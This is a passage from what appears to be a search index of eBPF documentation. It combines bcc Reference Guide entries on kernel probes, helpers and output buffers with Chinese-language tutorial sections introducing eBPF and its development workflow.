USDT probes 7. Raw Tracepoints 8. system call tracepoints 9. kfuncs 10. kretfuncs 11. lsm probes 12. bpf iterators Data 1. bpf_probe_read_kernel() 2. bpf_probe_read_kernel_str() 3. bpf_ktime_get_ns() 4. bpf_get_current_pid_tgid() 5. bpf_get_current_uid_gid() 6. bpf_get_current_comm() 7. bpf_get_current_task() 8. bpf_log2l() 9. bpf_get_prandom_u32() 10. bpf_probe_read_user() 11. bpf_probe_read_user_str() 12. bpf_get_ns_current_pid_tgid() Debugging 1. bpf_override_return() Output 1. bpf_trace_printk() 2. BPF_PERF_OUTPUT 3. perf_submit() 4. perf_submit_skb() 5. BPF_RINGBUF_OUTPUT 6. ringbuf_output() 7. ringbuf_reserve() 8. ringbuf_submit() 9. ringbuf_discard() Maps 1. BPF_TABLE 2. BPF_HASH 3. BPF_ARRAY 4. BPF_HISTOGRAM 5. BPF_STACK_TRACE 6. BPF_PERF_ARRAY 7. BPF_PERCPU_HASH 8. BPF_PERCPU_ARRAY 9. BPF_LPM_TRIE 10. BPF_PROG_ARRAY 11. BPF_DEVMAP 12. BPF_CPUMAP 13. BPF_XSKMAP 14. BPF_ARRAY_OF_MAPS 15. BPF_HASH_OF_MAPS 16. BPF_STACK 17. BPF_QUEUE 18. BPF_SOCKHASH 19. map.lookup() 20. map.lookup_or_try_init() 21. map.delete() 22. map.update() 23. map.insert() 24. map.increment() 25. map.get_stackid() 26. map.perf_read() 27. map.call() 28. map.redirect_map() 29. map.push() 30. map.pop() 31. map.peek() 32. map.sock_hash_update() 33. map.msg_redirect_hash() 34. map.sk_redirect_hash() Licensing Rewriter bcc Python Initialization 1. BPF 2. USDT Events 1. attach_kprobe() 2. attach_kretprobe() 3. attach_tracepoint() 4. attach_uprobe() 5. attach_uretprobe() 6. USDT.enable_probe() 7. attach_raw_tracepoint() 8. attach_raw_socket() 9. attach_xdp() 10. attach_func() 11. detach_func() 12. detach_kprobe() 13. detach_kretprobe() Debug Output 1. trace_print() 2. trace_fields() Output APIs 1. perf_buffer_poll() 2. ring_buffer_poll() 3. ring_buffer_consume() Map APIs 1. get_table() 2. open_perf_buffer() 3. items() 4. values() 5. clear() 6. items_lookup_and_delete_batch() 7. items_lookup_batch() 8. items_delete_batch() 9. items_update_batch() 10. print_log2_hist() 11. print_linear_hist() 12. open_ring_buffer() 13. push() 14. pop() 15. peek() Helpers 1. ksym() 2. ksymname() 3. sym() 4. num_open_kprobes() 5. get_syscall_fnname() BPF Errors 1. Invalid mem access 2. Cannot call GPL only function from proprietary program Environment Variables 1. kernel source directory 2. kernel version overriding","breadcrumbs":"bcc Reference Guide » Contents","id":"183","title":"Contents"},"184":{"body":"This section describes the C part of a bcc program.","breadcrumbs":"bcc Reference Guide » BPF C","id":"184","title":"BPF C"},"185":{"body":"","breadcrumbs":"bcc Reference Guide » Events & Arguments","id":"185","title":"Events & Arguments"},"186":{"body":"Syntax: kprobe__ kernel_function_name kprobe__ is a special prefix that creates a kprobe (dynamic tracing of a kernel function call) for the kernel function name provided as the remainder. You can also use kprobes by declaring a normal C function, then using the Python BPF.attach_kprobe() (covered later) to associate it with a kernel function. Arguments are specified on the function declaration: kprobe__ kernel_function_name (struct pt_regs *ctx [, argument1 ...]) For example: int kprobe__tcp_v4_connect(struct pt_regs *ctx, struct sock *sk) { [...]\n} This instruments the tcp_v4_connect() kernel function using a kprobe, with the following arguments: struct pt_regs *ctx: Registers and BPF context. struct sock *sk: First argument to tcp_v4_connect(). The first argument is always struct pt_regs *, the remainder are the arguments to the function (they don't need to be specified, if you don't intend to use them). Examples in situ: code ( output ), code ( output )","breadcrumbs":"bcc Reference Guide » 1. kprobes","id":"186","title":"1. kprobes"},"187":{"body":"Syntax: kretprobe__ kernel_function_name kretprobe__ is a special prefix that creates a kretprobe (dynamic tracing of a kernel function return) for the kernel function name provided as the remainder. You can also use kretprobes by declaring a normal C function, then using the Python BPF.attach_kretprobe() (covered later) to associate it with a kernel function. Return value is available as PT_REGS_RC(ctx), given a function declaration of: kretprobe__ kernel_function_name (struct pt_regs *ctx) For example: int kretprobe__tcp_v4_connect(struct pt_regs *ctx)\n{ int ret = PT_REGS_RC(ctx); [...]\n} This instruments the return of the tcp_v4_connect() kernel function using a kretprobe, and stores the return value in ret. Examples in situ: code ( output )","breadcrumbs":"bcc Reference Guide » 2. kretprobes","id":"187","title":"2. kretprobes"},"188":{"body":"Syntax: TRACEPOINT_PROBE( category , event ) This is a macro that instruments the tracepoint defined by category : event . The tracepoint name is <category>:<event>. The probe function name is tracepoint__<category>__<event>. Arguments are available in an args struct, which are the tracepoint arguments. One way to list these is to cat the relevant format file under /sys/kernel/debug/tracing/events/ category / event /format. The args struct can be used in place of ctx in each functions requiring a context as an argument. This includes notably perf_submit() . For example: TRACEPOINT_PROBE(random, urandom_read) { // args is from /sys/kernel/debug/tracing/events/random/urandom_read/format bpf_trace_printk(\"%d\\\\n\", args->got_bits); return 0;\n} This instruments the tracepoint random:urandom_read tracepoint, and prints the tracepoint argument got_bits. When using Python API, this probe is automatically attached to the right tracepoint target. For C++, this tracepoint probe can be attached by specifying the tracepoint target and function name explicitly: BPF::attach_tracepoint(\"random:urandom_read\", \"tracepoint__random__urandom_read\") Note the name of the probe function defined above is tracepoint__random__urandom_read. Examples in situ: code ( output ), search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 3. Tracepoints","id":"188","title":"3. Tracepoints"},"189":{"body":"These are instrumented by declaring a normal function in C, then associating it as a uprobe probe in Python via BPF.attach_uprobe() (covered later). Arguments can be examined using PT_REGS_PARM macros. For example: int count(struct pt_regs *ctx) { char buf[64]; bpf_probe_read_user(&buf, sizeof(buf), (void *)PT_REGS_PARM1(ctx)); bpf_trace_printk(\"%s %d\", buf, PT_REGS_PARM2(ctx)); return(0);\n} This reads the first argument as a string, and then prints it with the second argument as an integer. Examples in situ: code","breadcrumbs":"bcc Reference Guide » 4. uprobes","id":"189","title":"4. uprobes"},"19":{"body":"跟踪点（tracepoints）是内核静态插桩技术，跟踪点在技术上只是放置在内核源代码中的跟踪函数，实际上就是在源码中插入的一些带有控制条件的探测点，这些探测点允许事后再添加处理函数。比如在内核中，最常见的静态跟踪方法就是 printk，即输出日志。又比如：在系统调用、调度程序事件、文件系统操作和磁盘 I/O 的开始和结束时都有跟踪点。 于 2009 年在 Linux 2.6.32 版本中首次提供。跟踪点是一种稳定的 API，数量有限。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » tracepoints","id":"19","title":"tracepoints"},"190":{"body":"These are instrumented by declaring a normal function in C, then associating it as a uretprobe probe in Python via BPF.attach_uretprobe() (covered later). Return value is available as PT_REGS_RC(ctx), given a function declaration of: function_name (struct pt_regs *ctx) For example: BPF_HISTOGRAM(dist);\nint count(struct pt_regs *ctx) { dist.increment(PT_REGS_RC(ctx)); return 0;\n} This increments the bucket in the dist histogram that is indexed by the return value. Examples in situ: code ( output ), code ( output )","breadcrumbs":"bcc Reference Guide » 5. uretprobes","id":"190","title":"5. uretprobes"},"191":{"body":"These are User Statically-Defined Tracing (USDT) probes, which may be placed in some applications or libraries to provide a user-level equivalent of tracepoints. The primary BPF method provided for USDT support method is enable_probe(). USDT probes are instrumented by declaring a normal function in C, then associating it as a USDT probe in Python via USDT.enable_probe(). Arguments can be read via: bpf_usdt_readarg( index , ctx, &addr) For example: int do_trace(struct pt_regs *ctx) { uint64_t addr; char path[128]; bpf_usdt_readarg(6, ctx, &addr); bpf_probe_read_user(&path, sizeof(path), (void *)addr); bpf_trace_printk(\"path:%s\\\\n\", path); return 0;\n}; This reads the sixth USDT argument, and then pulls it in as a string to path. When initializing USDTs via the third argument of BPF::init in the C API, if any USDT fails to init, entire BPF::init will fail. If you're OK with some USDTs failing to init, use BPF::init_usdt before calling BPF::init. Examples in situ: code , search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 6. USDT probes","id":"191","title":"6. USDT probes"},"192":{"body":"Syntax: RAW_TRACEPOINT_PROBE( event ) This is a macro that instruments the raw tracepoint defined by event . The argument is a pointer to struct bpf_raw_tracepoint_args, which is defined in bpf.h . The struct field args contains all parameters of the raw tracepoint where you can found at linux tree include/trace/events directory. For example: RAW_TRACEPOINT_PROBE(sched_switch)\n{ // TP_PROTO(bool preempt, struct task_struct *prev, struct task_struct *next) struct task_struct *prev = (struct task_struct *)ctx->args[1]; struct task_struct *next= (struct task_struct *)ctx->args[2]; s32 prev_tgid, next_tgid; bpf_probe_read_kernel(&prev_tgid, sizeof(prev->tgid), &prev->tgid); bpf_probe_read_kernel(&next_tgid, sizeof(next->tgid), &next->tgid); bpf_trace_printk(\"%d -> %d\\\\n\", prev_tgid, next_tgid);\n} This instruments the sched:sched_switch tracepoint, and prints the prev and next tgid. Examples in situ: search /tools","breadcrumbs":"bcc Reference Guide » 7. Raw Tracepoints","id":"192","title":"7. Raw Tracepoints"},"193":{"body":"Syntax: syscall__SYSCALLNAME syscall__ is a special prefix that creates a kprobe for the system call name provided as the remainder. You can use it by declaring a normal C function, then using the Python BPF.get_syscall_fnname(SYSCALLNAME) and BPF.attach_kprobe() to associate it. Arguments are specified on the function declaration: syscall__SYSCALLNAME(struct pt_regs *ctx, [, argument1 ...]). For example: int syscall__execve(struct pt_regs *ctx, const char __user *filename, const char __user *const __user *__argv, const char __user *const __user *__envp)\n{ [...]\n} This instruments the execve system call. The first argument is always struct pt_regs *, the remainder are the arguments to the function (they don't need to be specified, if you don't intend to use them). Corresponding Python code: b = BPF(text=bpf_text)\nexecve_fnname = b.get_syscall_fnname(\"execve\")\nb.attach_kprobe(event=execve_fnname, fn_name=\"syscall__execve\") Examples in situ: code ( output )","breadcrumbs":"bcc Reference Guide » 8. system call tracepoints","id":"193","title":"8. system call tracepoints"},"194":{"body":"Syntax: KFUNC_PROBE( function , typeof(arg1) arg1, typeof(arg2) arge ...) This is a macro that instruments the kernel function via trampoline before the function is executed. It's defined by function name and the function arguments defined as argX . For example: KFUNC_PROBE(do_sys_open, int dfd, const char *filename, int flags, int mode)\n{ ... This instruments the do_sys_open kernel function and make its arguments accessible as standard argument values. Examples in situ: search /tools","breadcrumbs":"bcc Reference Guide » 9. kfuncs","id":"194","title":"9. kfuncs"},"195":{"body":"Syntax: KRETFUNC_PROBE( event , typeof(arg1) arg1, typeof(arg2) arge ..., int ret) This is a macro that instruments the kernel function via trampoline after the function is executed. It's defined by function name and the function arguments defined as argX . The last argument of the probe is the return value of the instrumented function. For example: KRETFUNC_PROBE(do_sys_open, int dfd, const char *filename, int flags, int mode, int ret)\n{ ... This instruments the do_sys_open kernel function and make its arguments accessible as standard argument values together with its return value. Examples in situ: search /tools","breadcrumbs":"bcc Reference Guide » 10. kretfuncs","id":"195","title":"10. kretfuncs"},"196":{"body":"Syntax: LSM_PROBE( hook , typeof(arg1) arg1, typeof(arg2) arg2 ...) This is a macro that instruments an LSM hook as a BPF program. It can be used to audit security events and implement MAC security policies in BPF. It is defined by specifying the hook name followed by its arguments. Hook names can be found in include/linux/security.h by taking functions like security_hookname and taking just the hookname part. For example, security_bpf would simply become bpf. Unlike other BPF program types, the return value specified in an LSM probe matters. A return value of 0 allows the hook to succeed, whereas any non-zero return value will cause the hook to fail and deny the security operation. The following example instruments a hook that denies all future BPF operations: LSM_PROBE(bpf, int cmd, union bpf_attr *attr, unsigned int size)\n{ return -EPERM;\n} This instruments the security_bpf hook and causes it to return -EPERM. Changing return -EPERM to return 0 would cause the BPF program to allow the operation instead. LSM probes require at least a 5.7+ kernel with the following configuation options set: CONFIG_BPF_LSM=y CONFIG_LSM comma separated string must contain \"bpf\" (for example, CONFIG_LSM=\"lockdown,yama,bpf\") Examples in situ: search /tests","breadcrumbs":"bcc Reference Guide » 11. LSM Probes","id":"196","title":"11. LSM Probes"},"197":{"body":"Syntax: BPF_ITER(target) This is a macro to define a program signature for a bpf iterator program. The argument target specifies what to iterate for the program. Currently, kernel does not have interface to discover what targets are supported. A good place to find what is supported is in tools/testing/selftests/bpf/prog_test/bpf_iter.c and some sample bpf iter programs are in tools/testing/selftests/bpf/progs with file name prefix bpf_iter . The following example defines a program for target task , which traverses all tasks in the kernel. BPF_ITER(task)\n{ struct seq_file *seq = ctx->meta->seq; struct task_struct *task = ctx->task; if (task == (void *)0) return 0; ... task->pid, task->tgid, task->comm, ... return 0;\n} BPF iterators are introduced in 5.8 kernel for task, task_file, bpf_map, netlink_sock and ipv6_route . In 5.9, support is added to tcp/udp sockets and bpf map element (hashmap, arraymap and sk_local_storage_map) traversal.","breadcrumbs":"bcc Reference Guide » 12. BPF ITERATORS","id":"197","title":"12. BPF ITERATORS"},"198":{"body":"","breadcrumbs":"bcc Reference Guide » Data","id":"198","title":"Data"},"199":{"body":"Syntax: int bpf_probe_read_kernel(void *dst, int size, const void *src) Return: 0 on success This copies size bytes from kernel address space to the BPF stack, so that BPF can later operate on it. For safety, all kernel memory reads must pass through bpf_probe_read_kernel(). This happens automatically in some cases, such as dereferencing kernel variables, as bcc will rewrite the BPF program to include the necessary bpf_probe_read_kernel(). Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 1. bpf_probe_read_kernel()","id":"199","title":"1. bpf_probe_read_kernel()"},"2":{"body":"对于浏览器而言，JavaScript 的引入带来的可编程性开启了一场巨大的革命，使浏览器发展成为几乎独立的操作系统。现在让我们回到 eBPF：为了理解 eBPF 对 Linux 内核的可编程性影响，对 Linux 内核的结构以及它如何与应用程序和硬件进行交互有一个高层次的理解是有帮助的[4]。 kernel-arch Linux 内核的主要目的是抽象出硬件或虚拟硬件，并提供一个一致的API（系统调用），允许应用程序运行和共享资源。为了实现这个目的，我们维护了一系列子系统和层，以分配这些责任[5]。每个子系统通常允许某种程度的配置，以考虑到用户的不同需求。如果不能配置所需的行为，就需要改变内核，从历史上看，改变内核的行为，或者让用户编写的程序能够在内核中运行，就有两种选择: 本地支持内核模块 写一个内核模块 改变内核源代码，并说服Linux内核社区相信这种改变是必要的。等待几年，让新的内核版本成为一种商品。 定期修复它，因为每个内核版本都可能破坏它。由于缺乏安全边界，冒着破坏你的Linux内核的风险 实际上，两种方案都不常用，前者成本太高，后者则几乎没有可移植性。 有了 eBPF，就有了一个新的选择，可以重新编程 Linux 内核的行为，而不需要改变内核的源代码或加载内核模块，同时保证在不同内核版本之间一定程度上的行为一致性和兼容性、以及安全性[6]。为了实现这个目的，eBPF 程序也需要有一套对应的 API，允许用户定义的应用程序运行和共享资源 --- 换句话说，某种意义上讲 eBPF 虚拟机也提供了一套类似于系统调用的机制，借助 eBPF 和用户态通信的机制，Wasm 虚拟机和用户态应用也可以获得这套“系统调用”的完整使用权，一方面能可编程地扩展传统的系统调用的能力，另一方面能在网络、文件系统等许多层次实现更高效的可编程 IO 处理。 new-os 正如上图所示，当今的 Linux 内核正在向一个新的内核模型演化：用户定义的应用程序可以在内核态和用户态同时执行，用户态通过传统的系统调用访问系统资源，内核态则通过 BPF Helper Calls 和系统的各个部分完成交互。截止 2023 年初，内核中的 eBPF 虚拟机中已经有 220 多个Helper 系统接口，涵盖了非常多的应用场景。 值得注意的是，BPF Helper Call 和系统调用二者并不是竞争关系，它们的编程模型和有性能优势的场景完全不同，也不会完全替代对方。对 Wasm 和 Wasi 相关生态来说，情况也类似，专门设计的 wasi 接口需要经历一个漫长的标准化过程，但可能在特定场景能为用户态应用获取更佳的性能和可移植性保证，而 eBPF 在保证沙箱本质和可移植性的前提下，可以提供一个快速灵活的扩展系统接口的方案。 目前的 eBPF 仍然处于早期阶段，但是借助当前 eBPF 提供的内核接口和用户态交互的能力，经由 Wasm-bpf 的系统接口转换，Wasm 虚拟机中的应用已经几乎有能力获取内核以及用户态任意一个函数调用的数据和返回值（kprobe，uprobe...）；以很低的代价收集和理解所有系统调用，并获取所有网络操作的数据包和套接字级别的数据（tracepoint，socket...）；在网络包处理解决方案中添加额外的协议分析器，并轻松地编程任何转发逻辑（XDP，TC...），以满足不断变化的需求，而无需离开Linux内核的数据包处理环境。 不仅如此，eBPF 还有能力往用户空间任意进程的任意地址写入数据（bpf_probe_write_user[7]），有限度地修改内核函数的返回值（bpf_override_return[8]），甚至在内核态直接执行某些系统调用[9]；所幸的是，eBPF 在加载进内核之前对字节码会进行严格的安全检查，确保没有内存越界等操作，同时，许多可能会扩大攻击面、带来安全风险的功能都是需要在编译内核时明确选择启用才能使用的；在 Wasm 虚拟机将字节码加载进内核之前，也可以明确选择启用或者禁用某些 eBPF 功能，以确保沙箱的安全性。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » eBPF 的未来：内核的 JavaScript 可编程接口","id":"2","title":"eBPF 的未来：内核的 JavaScript 可编程接口"},"20":{"body":"面对创建一个 eBPF 项目，您是否对如何开始搭建环境以及选择编程语言感到困惑？别担心，我们为您准备了一系列 GitHub 模板，以便您快速启动一个全新的eBPF项目。只需在GitHub上点击 Use this template 按钮，即可开始使用。 https://github.com/eunomia-bpf/libbpf-starter-template ：基于C语言和 libbpf 框架的eBPF项目模板 https://github.com/eunomia-bpf/cilium-ebpf-starter-template ：基于C语言和cilium/ebpf框架的eBPF项目模板 https://github.com/eunomia-bpf/libbpf-rs-starter-template ：基于Rust语言和libbpf-rs框架的eBPF项目模板 https://github.com/eunomia-bpf/eunomia-template ：基于C语言和eunomia-bpf框架的eBPF项目模板 这些启动模板包含以下功能： 一个 Makefile，让您可以一键构建项目 一个 Dockerfile，用于为您的 eBPF 项目自动创建一个容器化环境并发布到 Github Packages GitHub Actions，用于自动化构建、测试和发布流程 eBPF 开发所需的所有依赖项 通过将现有仓库设置为模板，您和其他人可以快速生成具有相同基础结构的新仓库，从而省去了手动创建和配置的繁琐过程。借助 GitHub 模板仓库，开发者可以专注于项目的核心功能和逻辑，而无需为基础设置和结构浪费时间。更多关于模板仓库的信息，请参阅官方文档： https://docs.github.com/en/repositories/creating-and-managing-repositories/creating-a-template-repository","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » GitHub 模板：轻松构建 eBPF 项目和开发环境","id":"20","title":"GitHub 模板：轻松构建 eBPF 项目和开发环境"},"200":{"body":"Syntax: int bpf_probe_read_kernel_str(void *dst, int size, const void *src) Return: > 0 length of the string including the trailing NULL on success < 0 error This copies a NULL terminated string from kernel address space to the BPF stack, so that BPF can later operate on it. In case the string length is smaller than size, the target is not padded with further NULL bytes. In case the string length is larger than size, just size - 1 bytes are copied and the last byte is set to NULL. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 2. bpf_probe_read_kernel_str()","id":"200","title":"2. bpf_probe_read_kernel_str()"},"201":{"body":"Syntax: u64 bpf_ktime_get_ns(void) Return: u64 number of nanoseconds. Starts at system boot time but stops during suspend. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 3. bpf_ktime_get_ns()","id":"201","title":"3. bpf_ktime_get_ns()"},"202":{"body":"Syntax: u64 bpf_get_current_pid_tgid(void) Return: current->tgid << 32 | current->pid Returns the process ID in the lower 32 bits (kernel's view of the PID, which in user space is usually presented as the thread ID), and the thread group ID in the upper 32 bits (what user space often thinks of as the PID). By directly setting this to a u32, we discard the upper 32 bits. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 4. bpf_get_current_pid_tgid()","id":"202","title":"4. bpf_get_current_pid_tgid()"},"203":{"body":"Syntax: u64 bpf_get_current_uid_gid(void) Return: current_gid << 32 | current_uid Returns the user ID and group IDs. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 5. bpf_get_current_uid_gid()","id":"203","title":"5. bpf_get_current_uid_gid()"},"204":{"body":"Syntax: bpf_get_current_comm(char *buf, int size_of_buf) Return: 0 on success Populates the first argument address with the current process name. It should be a pointer to a char array of at least size TASK_COMM_LEN, which is defined in linux/sched.h. For example: #include <linux/sched.h> int do_trace(struct pt_regs *ctx) { char comm[TASK_COMM_LEN]; bpf_get_current_comm(&comm, sizeof(comm));\n[...] Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 6. bpf_get_current_comm()","id":"204","title":"6. bpf_get_current_comm()"},"205":{"body":"Syntax: bpf_get_current_task() Return: current task as a pointer to struct task_struct. Returns a pointer to the current task's task_struct object. This helper can be used to compute the on-CPU time for a process, identify kernel threads, get the current CPU's run queue, or retrieve many other pieces of information. With Linux 4.13, due to issues with field randomization, you may need two #define directives before the includes: #define randomized_struct_fields_start struct {\n#define randomized_struct_fields_end };\n#include <linux/sched.h> int do_trace(void *ctx) { struct task_struct *t = (struct task_struct *)bpf_get_current_task();\n[...] Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 7. bpf_get_current_task()","id":"205","title":"7. bpf_get_current_task()"},"206":{"body":"Syntax: unsigned int bpf_log2l(unsigned long v) Returns the log-2 of the provided value. This is often used to create indexes for histograms, to construct power-of-2 histograms. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 8. bpf_log2l()","id":"206","title":"8. bpf_log2l()"},"207":{"body":"Syntax: u32 bpf_get_prandom_u32() Returns a pseudo-random u32. Example in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 9. bpf_get_prandom_u32()","id":"207","title":"9. bpf_get_prandom_u32()"},"208":{"body":"Syntax: int bpf_probe_read_user(void *dst, int size, const void *src) Return: 0 on success This attempts to safely read size bytes from user address space to the BPF stack, so that BPF can later operate on it. For safety, all user address space memory reads must pass through bpf_probe_read_user(). Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 10. bpf_probe_read_user()","id":"208","title":"10. bpf_probe_read_user()"},"209":{"body":"Syntax: int bpf_probe_read_user_str(void *dst, int size, const void *src) Return: > 0 length of the string including the trailing NULL on success < 0 error This copies a NULL terminated string from user address space to the BPF stack, so that BPF can later operate on it. In case the string length is smaller than size, the target is not padded with further NULL bytes. In case the string length is larger than size, just size - 1 bytes are copied and the last byte is set to NULL. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 11. bpf_probe_read_user_str()","id":"209","title":"11. bpf_probe_read_user_str()"},"21":{"body":"eBPF 程序的开发和使用流程可以概括为如下几个步骤： 定义 eBPF 程序的接口和类型：这包括定义 eBPF 程序的接口函数，定义和实现 eBPF 内核映射（maps）和共享内存（perf events），以及定义和使用 eBPF 内核帮助函数（helpers）。 编写 eBPF 程序的代码：这包括编写 eBPF 程序的主要逻辑，实现 eBPF 内核映射的读写操作，以及使用 eBPF 内核帮助函数。 编译 eBPF 程序：这包括使用 eBPF 编译器（例如 clang）将 eBPF 程序代码编译为 eBPF 字节码，并生成可执行的 eBPF 内核模块。ecc 本质上也是调用 clang 编译器来编译 eBPF 程序。 加载 eBPF 程序到内核：这包括将编译好的 eBPF 内核模块加载到 Linux 内核中，并将 eBPF 程序附加到指定的内核事件上。 使用 eBPF 程序：这包括监测 eBPF 程序的运行情况，并使用 eBPF 内核映射和共享内存进行数据交换和共享。 在实际开发中，还可能需要进行其他的步骤，例如配置编译和加载参数，管理 eBPF 内核模块和内核映射，以及使用其他高级功能等。 需要注意的是，BPF 程序的执行是在内核空间进行的，因此需要使用特殊的工具和技术来编写、编译和调试 BPF 程序。eunomia-bpf 是一个开源的 BPF 编译器和工具包，它可以帮助开发者快速和简单地编写和运行 BPF 程序。 您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程，全部内容均已开源。我们会继续分享更多有关 eBPF 开发实践的内容，帮助您更好地理解和掌握 eBPF 技术。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » 总结","id":"21","title":"总结"},"210":{"body":"Syntax: u32 bpf_get_ns_current_pid_tgid(u64 dev, u64 ino, struct bpf_pidns_info* nsdata, u32 size) Values for pid and tgid as seen from the current namespace will be returned in nsdata . Return 0 on success, or one of the following in case of failure: -EINVAL if dev and inum supplied don't match dev_t and inode number with nsfs of current task, or if dev conversion to dev_t lost high bits. -ENOENT if pidns does not exists for the current task. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 12. bpf_get_ns_current_pid_tgid()","id":"210","title":"12. bpf_get_ns_current_pid_tgid()"},"211":{"body":"","breadcrumbs":"bcc Reference Guide » Debugging","id":"211","title":"Debugging"},"212":{"body":"Syntax: int bpf_override_return(struct pt_regs *, unsigned long rc) Return: 0 on success When used in a program attached to a function entry kprobe, causes the execution of the function to be skipped, immediately returning rc instead. This is used for targeted error injection. bpf_override_return will only work when the kprobed function is whitelisted to allow error injections. Whitelisting entails tagging a function with ALLOW_ERROR_INJECTION() in the kernel source tree; see io_ctl_init for an example. If the kprobed function is not whitelisted, the bpf program will fail to attach with ioctl(PERF_EVENT_IOC_SET_BPF): Invalid argument int kprobe__io_ctl_init(void *ctx) { bpf_override_return(ctx, -ENOMEM); return 0;\n}","breadcrumbs":"bcc Reference Guide » 1. bpf_override_return()","id":"212","title":"1. bpf_override_return()"},"213":{"body":"","breadcrumbs":"bcc Reference Guide » Output","id":"213","title":"Output"},"214":{"body":"Syntax: int bpf_trace_printk(const char *fmt, ...) Return: 0 on success A simple kernel facility for printf() to the common trace_pipe (/sys/kernel/debug/tracing/trace_pipe). This is ok for some quick examples, but has limitations: 3 args max, 1 %s only, and trace_pipe is globally shared, so concurrent programs will have clashing output. A better interface is via BPF_PERF_OUTPUT(). Note that calling this helper is made simpler than the original kernel version, which has fmt_size as the second parameter. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 1. bpf_trace_printk()","id":"214","title":"1. bpf_trace_printk()"},"215":{"body":"Syntax: BPF_PERF_OUTPUT(name) Creates a BPF table for pushing out custom event data to user space via a perf ring buffer. This is the preferred method for pushing per-event data to user space. For example: struct data_t { u32 pid; u64 ts; char comm[TASK_COMM_LEN];\n};\nBPF_PERF_OUTPUT(events); int hello(struct pt_regs *ctx) { struct data_t data = {}; data.pid = bpf_get_current_pid_tgid(); data.ts = bpf_ktime_get_ns(); bpf_get_current_comm(&data.comm, sizeof(data.comm)); events.perf_submit(ctx, &data, sizeof(data)); return 0;\n} The output table is named events, and data is pushed to it via events.perf_submit(). Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 2. BPF_PERF_OUTPUT","id":"215","title":"2. BPF_PERF_OUTPUT"},"216":{"body":"Syntax: int perf_submit((void *)ctx, (void *)data, u32 data_size) Return: 0 on success A method of a BPF_PERF_OUTPUT table, for submitting custom event data to user space. See the BPF_PERF_OUTPUT entry. (This ultimately calls bpf_perf_event_output().) The ctx parameter is provided in kprobes or kretprobes . For SCHED_CLS or SOCKET_FILTER programs, the struct __sk_buff *skb must be used instead. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 3. perf_submit()","id":"216","title":"3. perf_submit()"},"217":{"body":"Syntax: int perf_submit_skb((void *)ctx, u32 packet_size, (void *)data, u32 data_size) Return: 0 on success A method of a BPF_PERF_OUTPUT table available in networking program types, for submitting custom event data to user space, along with the first packet_size bytes of the packet buffer. See the BPF_PERF_OUTPUT entry. (This ultimately calls bpf_perf_event_output().) Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 4. perf_submit_skb()","id":"217","title":"4. perf_submit_skb()"},"218":{"body":"Syntax: BPF_RINGBUF_OUTPUT(name, page_cnt) Creates a BPF table for pushing out custom event data to user space via a ringbuf ring buffer. BPF_RINGBUF_OUTPUT has several advantages over BPF_PERF_OUTPUT, summarized as follows: Buffer is shared across all CPUs, meaning no per-CPU allocation Supports two APIs for BPF programs map.ringbuf_output() works like map.perf_submit() (covered in ringbuf_output ) map.ringbuf_reserve()/map.ringbuf_submit()/map.ringbuf_discard() split the process of reserving buffer space and submitting events into two steps (covered in ringbuf_reserve , ringbuf_submit , ringbuf_discard ) BPF APIs do not require access to a CPU ctx argument Superior performance and latency in userspace thanks to a shared ring buffer manager Supports two ways of consuming data in userspace Starting in Linux 5.8, this should be the preferred method for pushing per-event data to user space. Example of both APIs: struct data_t { u32 pid; u64 ts; char comm[TASK_COMM_LEN];\n}; // Creates a ringbuf called events with 8 pages of space, shared across all CPUs\nBPF_RINGBUF_OUTPUT(events, 8); int first_api_example(struct pt_regs *ctx) { struct data_t data = {}; data.pid = bpf_get_current_pid_tgid(); data.ts = bpf_ktime_get_ns(); bpf_get_current_comm(&data.comm, sizeof(data.comm)); events.ringbuf_output(&data, sizeof(data), 0 /* flags */); return 0;\n} int second_api_example(struct pt_regs *ctx) { struct data_t *data = events.ringbuf_reserve(sizeof(struct data_t)); if (!data) { // Failed to reserve space return 1; } data->pid = bpf_get_current_pid_tgid(); data->ts = bpf_ktime_get_ns(); bpf_get_current_comm(&data->comm, sizeof(data->comm)); events.ringbuf_submit(data, 0 /* flags */); return 0;\n} The output table is named events. Data is allocated via events.ringbuf_reserve() and pushed to it via events.ringbuf_submit(). Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 5. BPF_RINGBUF_OUTPUT","id":"218","title":"5. BPF_RINGBUF_OUTPUT"},"219":{"body":"Syntax: int ringbuf_output((void *)data, u64 data_size, u64 flags) Return: 0 on success Flags: BPF_RB_NO_WAKEUP: Do not sent notification of new data availability BPF_RB_FORCE_WAKEUP: Send notification of new data availability unconditionally A method of the BPF_RINGBUF_OUTPUT table, for submitting custom event data to user space. This method works like perf_submit(), although it does not require a ctx argument. Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 6. ringbuf_output()","id":"219","title":"6. ringbuf_output()"},"22":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第二篇，在 eBPF 中使用 kprobe 捕获 unlink 系统调用。本文会先讲解关于 kprobes 